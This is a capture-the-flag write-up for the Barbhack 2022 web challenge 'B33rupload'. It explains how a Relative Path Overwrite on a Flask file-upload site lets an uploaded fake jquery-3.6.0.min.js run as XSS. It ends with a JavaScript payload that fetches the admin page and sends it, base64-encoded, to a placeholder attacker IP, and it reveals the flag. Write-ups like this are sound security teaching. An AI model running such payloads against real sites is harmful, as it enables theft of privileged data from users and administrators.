title: B33rupload
date: Aug 30, 2022
tags: Writeup Barbhack2022 Web
Difficulty: 400 points | 1 solve 👀
Description: Un ami à vous vient de créer un nouveau site pour upload et télecharger ses fichiers. Méfiant et étant encore en bêta, il vous demande de tester la sécurité de celui-ci. Votre objectif est de récupérer le flag placé sur la page admin ! :)
Author: Itarow ❤️
From the challenge's description we know that we will have to deal with upload stuff. When navigating through the website, we can find the following:
When login, we get a JWT session cookie without header part which is significative of a Flask
server.
.eJztkctqAzEMRX_FaD0UPyQ_5iu6LyHItpwZmDZlPFmF_Huc9he67EpI9x44oDuc28Z9kQ7zxx3UMQZ8Su98EZjgfRPuorbrRa1f6rgqLmWE6ljWrr5H5w1Oj-mf-1PuNI2n7NIXmI_9JmNbK8wgCXXLmmILVGJFcXFc2GgrlZlYjM3kdSuuYcyIiVtrWpL1FtG27AtlisUUTyQhUdA_gMs2RkSDJE7X5tAWJ0hGfChcUsiOo-NUX_rnW5f91ybA4wkj1LWM.Yw0N1A.x9C-4He-6Ue9DOFATmZKxunlscY
Because the website has a report endpoint, we can suppose that we need to find an XSS
in some way. When we upload a file and access it, the file is getting automatically downloaded due to Content-Disposition: attachment; filename=readme.md
header.
At first, even knowing that it was Flask and we need to get an XSS, I have lost a lot of time searching for a file upload to RCE. Yes, I know I'm such a stupid guy...
Anyway, I think it's still important to remind that a writeup isn't representative of a CTF research and most of the time we don't find the solution as fast as it is described.
So during 1 hour, I have tried the following:
static/
folder.Content-Disposition: attachment
header.Content-Disposition: attachment
header. (source...)At this point, I had no idea about how to get an XSS. So, I took a break and came back when the two following tips were given:
Tips n°1
: JQuery is such a shit...
Tips n°2
: Tout est relatif, et cela seul est absolu.
After reading them, I looked the DOM of the home page and found the following:
...
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<link rel="icon" type="image/x-icon" href="beer.svg">
<script src="js/bootstrap.min.js"></script>
<script src="jquery-3.6.0.min.js"></script>
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
<title>b33r file storage</title>
</head>
...
As you can see, all ressources are loaded using relative PATH
, which in certain circumstances allows Relative Path Overwrite
exploitation.
What is Relative Path Overwrite?
Relative Path Overwrite or RPO is an attack where an attacker can control the path where a ressource is getting retrieve by the browser. This kind of vulnerability occur when:
From that context, when a user will make URL encoded path traversal, the following will happen:
As you can see, because the path traversal is interpreted by nginx. the webserver isn't returning a redirect or an error and browser think that he is loading a resource from the 'example' directory. That's why, for the next requests, the browser will use the user-supplied folder to retrievethe associated resources.
In our context, to make sure the website is vulnerable to RPO
, we have to verify that /download/..%2F
return the home page.
As we can see, the page is completely broken. Futhermore, looking into the developer console, we can see all ressources getting loaded from /download
.
Now that we succeed to exploit the RPO, we can upload jquery-3.6.0.min.js
file to get an alert()
.
The last step is to abuse the XSS to exfiltrate admin page:
fetch("/admin").then(d => d.text()).then((data) => {
flag = data;
window.location.href = `http:///{{IP}}?cookie=${btoa(flag)}`;
})
Send /download/..%2F
URL to the bot and we obtain:
...
This is the admin page, and this is your flag GG : brb{RP0_l34d5_70_5up3r_C5RF}
...
Flag: brb{RP0_l34d5_70_5up3r_C5RF}